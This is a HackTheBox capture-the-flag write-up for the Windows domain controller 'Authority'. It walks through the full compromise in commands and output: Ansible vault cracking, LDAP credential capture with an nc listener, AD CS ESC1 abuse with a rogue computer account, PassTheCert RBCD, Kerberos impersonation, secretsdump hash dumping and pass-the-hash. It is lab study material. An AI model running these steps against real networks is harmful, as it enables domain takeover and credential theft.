All writeups
HackTheBox: Authority avatar
MACHINE Windows HackTheBox 3/5

HackTheBox: Authority

2026-06-08 10 min read
Tracks CPTS

Introduction

Authority is a Windows Domain Controller that chains together several real-world misconfigurations: credentials left on a file share, Ansible vault encryption that’s breakable with a wordlist, a PWM web app leaking LDAP passwords, and a vulnerable AD CS certificate template. The path to root:

  1. Enumeration → find an open SMB share with Ansible playbooks, spot a PWM web app on port 8443
  2. Crack Ansible vaults → extract encrypted credentials from the playbooks, crack them with hashcat
  3. PWM LDAP trick → log into PWM config editor, redirect the LDAP test to your listener, catch cleartext creds
  4. Foothold → WinRM as svc_ldap (user flag here)
  5. AD CS enumeration → use Certipy to find the vulnerable CorpVPN certificate template (ESC1)
  6. Add a fake computer account → exploit MachineAccountQuota = 10 to register a machine account
  7. Request a certificate as Administrator → abuse ESC1 to get a cert with the Administrator UPN as SAN
  8. Pass-the-Cert → RBCD → use PassTheCert to grant the fake computer RBCD rights, then S4U2Proxy
  9. Dump hashes + Pass-the-Hash → secretsdump with the ticket, evil-winrm with the NT hash → root

Key Concepts

What is Ansible? An IT automation tool that uses YAML “playbooks” to configure servers. It sometimes needs passwords (e.g. for LDAP, web apps) and stores them encrypted using Ansible Vault. If the vault password is weak, the whole thing can be cracked offline.

What is PWM? An open-source password self-service application for Active Directory. It talks to the domain via LDAP. If it’s misconfigured and running in “Configuration Mode”, anyone can access the config panel with just a password - no username needed.

What is AD CS (Active Directory Certificate Services)? Microsoft’s PKI system built into AD. It issues digital certificates for things like authentication, email signing, and encryption. Misconfigured certificate templates are one of the most powerful privilege escalation paths in modern Windows environments.

What is ESC1? One of several AD CS misconfigurations catalogued by SpecterOps. ESC1 means: the certificate template (1) allows Client Authentication, (2) lets the enrollee supply their own Subject Alternate Name (SAN), and (3) no manager approval is required. The SAN is the part that specifies who the certificate belongs to - so if you can set it to administrator@domain, you get a cert that authenticates as Administrator.

What is MachineAccountQuota? By default, any domain user can add up to 10 computer accounts to the domain. We need a computer account because the CorpVPN template only allows enrollment by Domain Computers, not regular users. So we create a fake one ourselves.

What is RBCD (Resource-Based Constrained Delegation)? A way to grant one account the right to impersonate any user when accessing another account’s services. If we write RBCD rights to the Domain Controller’s machine account (AUTHORITY$), our fake computer can impersonate the Administrator and request a service ticket on their behalf.

What is Pass-the-Cert? A technique where, instead of using a password or Kerberos ticket, you authenticate to LDAP using an SSL/TLS client certificate (via a protocol called Schannel). This bypasses PKINIT (which this DC doesn’t support) and lets you make privileged LDAP changes - like writing RBCD rights - using only the certificate.


Enumeration

Nmap

nmap -p- <TARGET>

Key open ports:

PortServiceNotes
80HTTP (IIS)Default IIS splash page - dead end
88KerberosConfirms Domain Controller
389 / 636LDAP / LDAPSAD directory
445SMBFile shares
5985WinRMRemote management (our way in)
8443HTTPSPWM password self-service app

Port 8443: PWM

Browsing to https://<TARGET>:8443 redirects to /pwm/private/login. A popup says the app is in Configuration Mode - meaning we can access the Configuration Manager and Configuration Editor with just a password (no username). Default credentials like admin:admin don’t work, so we move on to find the password elsewhere.

SMB: Open Development Share

smbclient --no-pass -L //<TARGET>

Available shares: ADMIN$, C$, Department Shares, Development, IPC$, NETLOGON, SYSVOL.

We get access denied on everything except Development. Download everything recursively:

smbclient //<TARGET>/Development -N -c 'prompt OFF;recurse ON;lcd ./smb_contents/;mget *'

The share contains Ansible playbooks under Automation/Ansible/. Subdirectories include ADCS, LDAP, PWM, and SHARE - the ADCS folder is a hint that Active Directory Certificate Services is likely installed.


Crack the Ansible Vault

Find the encrypted credentials

Inside Automation/Ansible/PWM/defaults/main.yml there are three encrypted secrets:

pwm_admin_login:    !vault | $ANSIBLE_VAULT;1.1;AES256 ...
pwm_admin_password: !vault | $ANSIBLE_VAULT;1.1;AES256 ...
ldap_admin_password:!vault | $ANSIBLE_VAULT;1.1;AES256 ...

What is an Ansible Vault blob? Ansible encrypts sensitive values with AES-256 and a master password. The encrypted blob starts with $ANSIBLE_VAULT;1.1;AES256. The tool ansible2john.py converts it into a format John/hashcat can attack.

Convert to crackable format

Save each encrypted block to its own file (e.g. vault1, vault2, vault3), then strip leading whitespace:

sed -i 's/^[ \t]*//' vault1

Convert each to a crackable hash:

python3 /usr/share/john/ansible2john.py vault1 > vault1.hash
python3 /usr/share/john/ansible2john.py vault2 > vault2.hash
python3 /usr/share/john/ansible2john.py vault3 > vault3.hash

Crack with hashcat

hashcat -m 16900 vault_hashes /usr/share/wordlists/rockyou.txt

All three crack to the same vault password: !@#$%^&*

Decrypt the secrets

cat vault1 | ansible-vault decrypt   # → svc_pwm          (username)
cat vault2 | ansible-vault decrypt   # → pWm_@dm!N_!23    (PWM admin password)
cat vault3 | ansible-vault decrypt   # → DevT3st@123       (not useful)

Foothold: PWM LDAP Credential Leak

Log into PWM Configuration Editor

Navigate to https://<TARGET>:8443/pwm/private/login and click Configuration Editor. Enter the password pWm_@dm!N_!23.

Redirect LDAP to your listener

Inside the editor: LDAP → LDAP Directories → default → Connection

The current LDAP URL is ldaps://authority.htb.corp:636. Change it to point to your attacker IP over plain LDAP instead of LDAPS:

ldap://<YOUR_IP>:389

Click OK to save.

Why does this work? PWM stores the LDAP bind credentials (username + password) for connecting to Active Directory. When you click “Test LDAP Profile”, it makes a fresh connection using those stored credentials. By redirecting the URL to your machine, you intercept that bind - and receive the password in cleartext because it’s now using plain LDAP (no encryption).

Catch the credentials

Start a listener on port 389 before clicking the test button:

nc -lvnp 389

Click Test LDAP Profile in PWM. Your listener receives the connection:

CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb  lDaP_1n_th3_cle4r!

Credentials: svc_ldap : lDaP_1n_th3_cle4r!

WinRM in

evil-winrm -i <TARGET> -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami
htb\svc_ldap

User flag captured. C:\Users\svc_ldap\Desktop\user.txt


Privilege Escalation: AD CS ESC1 + Pass-the-Cert

Enumerate AD CS for vulnerable templates

certipy find -u svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' -dc-ip <TARGET> -vulnerable

Certipy finds a vulnerable template: CorpVPN

Key properties that make it exploitable:

Enrollee Supplies Subject : True          ← we control the SAN
Client Authentication     : True          ← cert can be used for auth
Enrollment Rights         : Domain Computers  ← any computer can request it
Requires Manager Approval : False         ← auto-issued, no human review
[!] Vulnerabilities
ESC1 : 'AUTHORITY.HTB\Domain Computers' can enroll, enrollee supplies subject

Why is Enrollee Supplies Subject: True dangerous? The certificate’s Subject Alternate Name (SAN) is how the DC knows who the cert belongs to. Normally the CA fills this in based on the requester. With this flag, the requester writes it themselves - so we can claim to be Administrator.

Check MachineAccountQuota

We need a computer account to enroll in CorpVPN. By default any domain user can create up to 10:

crackmapexec ldap <TARGET> -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -M MAQ
# MachineAccountQuota: 10

Add the domain to /etc/hosts first:

echo "<TARGET> authority.authority.htb authority.htb" | sudo tee -a /etc/hosts

Create a fake computer account

addcomputer.py 'authority.htb/svc_ldap' -method LDAPS \
  -computer-name 'EVIL01' -computer-pass 'Str0ng3st_P@ssw0rd!' \
  -dc-ip <TARGET>
# Password: lDaP_1n_th3_cle4r!
# [*] Successfully added machine account EVIL01$ with password Str0ng3st_P@ssw0rd!

Request a certificate as Administrator (ESC1)

Use the EVIL01$ computer account to request a cert from the CorpVPN template, setting the SAN to administrator@authority.htb:

certipy req -username EVIL01$ -password 'Str0ng3st_P@ssw0rd!' \
  -ca AUTHORITY-CA -dc-ip <TARGET> \
  -template CorpVPN -upn administrator@authority.htb \
  -dns authority.htb -debug

Note: If you get a clock skew error, sync your clock first: sudo ntpdate <TARGET>

This saves the certificate to administrator_authority.pfx.

Why we can’t just use certipy auth

Trying to use the cert directly for a Kerberos TGT fails:

KDC_ERR_PADATA_TYPE_NOSUPP (KDC has no support for padata type)

This means the DC doesn’t support PKINIT (certificate-based Kerberos). We need a different approach: PassTheCert, which authenticates over LDAP using the cert as a TLS client certificate (Schannel). This lets us make privileged LDAP changes without needing Kerberos at all.

Extract .crt and .key from the .pfx

# Extract private key (set PEM passphrase to 1234)
openssl pkcs12 -in administrator_authority.pfx -nocerts -out administrator.key

# Extract certificate (leave import password blank)
openssl pkcs12 -in administrator_authority.pfx -clcerts -nokeys -out administrator.crt

PassTheCert: write RBCD rights to the DC

Clone the tool, then grant EVIL01$ the right to impersonate users on the DC:

git clone https://github.com/AlmondOffSec/PassTheCert.git
cd PassTheCert

python3 ./Python/passthecert.py \
  -dc-ip <TARGET> \
  -crt administrator.crt -key administrator.key \
  -domain authority.htb -port 636 \
  -action write_rbcd \
  -delegate-to 'AUTHORITY$' -delegate-from 'EVIL01$'
# Enter PEM pass phrase: 1234
# [*] Delegation rights modified successfully!
# [*] EVIL01$ can now impersonate users on AUTHORITY$ via S4U2Proxy

What just happened? We used the Administrator’s certificate to authenticate to LDAP as Administrator, then wrote an RBCD entry to the DC’s machine account (AUTHORITY$) granting our fake computer (EVIL01$) the right to impersonate any user against it. We now control a computer that can get service tickets on behalf of Administrator.

S4U2Proxy: get a ticket as Administrator

impacket-getST \
  -spn 'cifs/AUTHORITY.authority.htb' \
  -impersonate Administrator \
  'authority.htb/EVIL01$:Str0ng3st_P@ssw0rd!'

export KRB5CCNAME=Administrator.ccache

What is S4U2Proxy? The “Service for User to Proxy” Kerberos extension lets a service request a ticket to another service on behalf of a user. Combined with RBCD, it allows EVIL01$ to obtain a valid cifs/ ticket for the DC, impersonating Administrator.

Dump all domain hashes

impacket-secretsdump -k -no-pass \
  authority.htb/Administrator@authority.authority.htb \
  -just-dc-ntlm
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::
svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1:::

Pass-the-Hash → Administrator shell

evil-winrm -i <TARGET> -u administrator -H 6961f422924da90a6928197429eea4ed
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator

Root flag captured. C:\Users\Administrator\Desktop\root.txt


Summary

nmap → port 445 (SMB), port 8443 (PWM), port 5985 (WinRM)

smbclient -N → Development share → Ansible playbooks

PWM/defaults/main.yml → 3 Ansible Vault encrypted blobs

ansible2john.py → hashcat -m 16900 → vault password: !@#$%^&*

ansible-vault decrypt vault1 → svc_pwm
ansible-vault decrypt vault2 → pWm_@dm!N_!23

https://<TARGET>:8443 → Configuration Editor (pWm_@dm!N_!23)

LDAP URL → ldap://<YOUR_IP>:389 + Test LDAP Profile

nc -lvnp 389 → svc_ldap:lDaP_1n_th3_cle4r! (cleartext in bind request)

evil-winrm → svc_ldap shell → USER FLAG

certipy find -vulnerable → CorpVPN template → ESC1
(Domain Computers can enroll, Enrollee Supplies Subject, Client Auth)

MachineAccountQuota = 10 → addcomputer.py → EVIL01$:Str0ng3st_P@ssw0rd!

certipy req -template CorpVPN -upn administrator@authority.htb
→ administrator_authority.pfx

certipy auth → KDC_ERR_PADATA_TYPE_NOSUPP (PKINIT not supported)

openssl pkcs12 → administrator.crt + administrator.key

PassTheCert → write_rbcd: EVIL01$ can impersonate users on AUTHORITY$

impacket-getST -impersonate Administrator → Administrator.ccache

impacket-secretsdump -k → Administrator NT hash

evil-winrm -H <NT hash> → htb\administrator → ROOT FLAG

Tools Used

ToolWhat it doesHow to get it
smbclientBrowse and download SMB sharesBuilt into Kali
ansible2john.pyConverts Ansible Vault blobs to crackable hashesBuilt into Kali (/usr/share/john/)
hashcatCracks password hashes (mode 16900 for Ansible Vault)sudo apt install hashcat
ansible-vaultDecrypts Ansible Vault blobs given the master passwordpip install ansible-vault
CertipyEnumerates and exploits AD CS misconfigurationspip install certipy-ad
crackmapexecSwiss-army AD tool (used here for MachineAccountQuota check)pip install crackmapexec
addcomputer.pyCreates a machine account in AD via LDAPSPart of impacket
PassTheCertAuthenticates to LDAP using a certificate (Schannel), writes RBCDgithub.com/AlmondOffSec/PassTheCert
impacket-getSTRequests a Kerberos service ticket via S4U2Proxy impersonationPart of impacket
impacket-secretsdumpDumps all domain hashes using a Kerberos ticketPart of impacket
evil-winrmWinRM shell; supports Pass-the-Hash with -H flaggem install evil-winrm